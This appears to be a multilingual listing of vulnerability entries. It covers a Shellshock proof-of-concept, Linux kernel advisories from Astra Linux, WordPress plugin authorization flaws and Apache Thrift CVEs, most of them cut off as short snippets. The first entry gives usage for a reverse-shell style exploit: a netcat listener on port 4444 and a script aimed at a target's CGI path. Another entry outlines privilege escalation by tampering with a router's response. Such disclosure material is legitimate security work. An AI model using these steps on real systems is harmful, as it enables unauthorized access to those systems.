CVE-2014-6271

CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...

heimdall-unauth-ssrf

Heimdall: Unauthenticated SSRF via testconfig Description...

itscape

ITScape — Linux KVM/arm64 게스트-투-호스트 탈출 추적 사이트 ITScape 패치 상태 추적기의 소스: Linux 커널의 KVM/arm64 게스트-투-호스트 탈출에 대한 수정을 제공한 배포판을 기록하는 단일 페이지 사이트입니다. 정보의 원본 버그에 관한 모든 것 — CVE ID, 영향받는 버전 및 수정된 버전, 업스트림 수정 커밋, 발견 및 공개 크레딧, 배포판별 최종 패치 상태 — 은 이 README가 아닌 추적기 페이지에 있습니다: 렌더링: https://kimmo.cloud/itscape/ 소스:...

CVE-2026-90782-s2opc-status-clobber

CVE-2026-90782 — S2OPC ステータスクロバリングによる NULL 逆参照 S2OPC Safe & Secure OPC における CVE-2026-90782 のスタンドアロン概念実証。 脆弱性 allocnotificationmessageitems S2OPC 1.7.3 以前 において: 単一の共有 status 変数が DataChange と Event の両方の割り当てに使用されている。 DataChange の割り当てが失敗し OOM / 非 OK を返す、その後の Event の割り当てが成功すると、status が SOPCSTATUSOK...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: ext4: Do not cache extents during splitting Caching extents during the splitting process is risky, as it may result in stale extents remaining in the status tree. Moreover, in most cases, the corresponding extent block entries ar...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: In the tty subsystem, for the ngsm module, a race condition occurred during the modification of the status line of a dead connection. The gsmcleanupmux function cleans up the GSM-related resources by closing all Data Link Control...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Handling of a null value of ‘streamstatus’ in the function ‘planeschangedforexistingstream’. This commit adds a null check for ‘streamstatus’ in the function ‘planeschangedforexistingstream’. Previously, the code...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: vmbus – Track the decryption status in vmbusgpadl. In CoCo VMs, it is possible for the untrusted host to cause setmemoryencrypted or setmemorydecrypted to fail, resulting in an error and the shared memory being...

Astra Linux – Vulnerability in gnupg2

GnuPG versions up to 2.3.6 allow for signature forgery in unusual situations where an attacker possesses secret-key information from a victim’s keyring, and other constraints such as the use of GPGME are met. This can be achieved by injecting malicious data into the command line’s status line...

CVE-2024-57778

CVE-2024-57778 설명 : Orbe ONetView Roteador Onet-1200의 문제로 인해 원격 공격자가 서버의 응답을 상태 코드 500에서 상태 코드 200으로 변경하여 권한을 상승시킬 수 있습니다. 버전 : Orbe ONetView Roteador Onet-1200 Orbe 1680210096에서 발견되었으며, 이후의 모든 버전에 적용됩니다. 개념 증명 라우터의 메뉴 페이지인 http://192.168.1.1/menu.html에 접속하여 아무 옵션이나 클릭하면 500 오류 코드가 표시됩니다: 이후 Burp...

CVE-2026-84169 UPI QR Code Payment Gateway <= 1.4.3 - Unauthenticated Cross-Order Payment-Status Forgery

The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment...

WordPress UPI QR Code Payment Gateway plugin <= 1.4.3 - Unauthenticated Cross-Order Payment-Status Forgery vulnerability

Unauthenticated Cross-Order Payment-Status Forgery vulnerability discovered by Pedro Pinho in WordPress Plugin UPI QR Code Payment Gateway versions = 1.4.3...

CVE-2026-84169

The UPI QR Code Payment Gateway WordPress plugin, affecting versions through 1.4.3 , contains a vulnerability where it fails to verify if a payment-confirmation request belongs to the specific order and customer it claims to confirm. This lack of authorization allows unauthenticated attackers to ...

CVE-2026-84169 UPI QR Code Payment Gateway <= 1.4.3 - Unauthenticated Cross-Order Payment-Status Forgery

The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment...

OpenSC

OpenSC 문서 위키는 온라인에서 이용 가능합니다 OpenSC를 사용하기 전에 문서를 먼저 살펴보시기 바랍니다. 특정 카드의 빌드 및 테스트 상태: 카드| 상태 ---|--- CAC| Coolkey|...

By-Poloss..-..CVE-2026-12432-PoC

CVE-2026-12432: WP Full Stripe Free = 8.4.4 게시일 : 2026년 6월 26일 최종 업데이트 : 2026년 6월 27일 연구자 : Netwurm - VTDR e.V.i.G. 취약점 설명 WordPress용 WP Full Stripe Free 플러그인은 wpfsupdatefailedpaymentstatus AJAX 액션을 통해 8.4.3 이하 버전에서 권한 누락 취약점에 노출됩니다. 근본 원인 취약한 AJAX 엔드포인트는 wpajax 및 wpajaxnopriv 훅을 통해 등록됩니다: //...

CVE-2026-31431

CVE-2026-31431 — Copy Fail tracking site Source for the Copy Fail patch-status tracker: a single-page site recording which distributions have shipped a fix for the algifaead privilege escalation in the Linux kernel. Where the facts live Everything about the bug — CVE IDs, affected and fixed...

CVE-2026-92834

Use of uninitialized resource, Return of wrong status code vulnerability in Apache Thrift C++ WebSocket server. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue...

CVE-2026-85483

Use of uninitialized resource, Return of wrong status code vulnerability in Apache Thrift cglib bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue...

CVE-2026-85087

Improper certificate validation, Return of wrong status code vulnerability in Apache Thrift python bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue...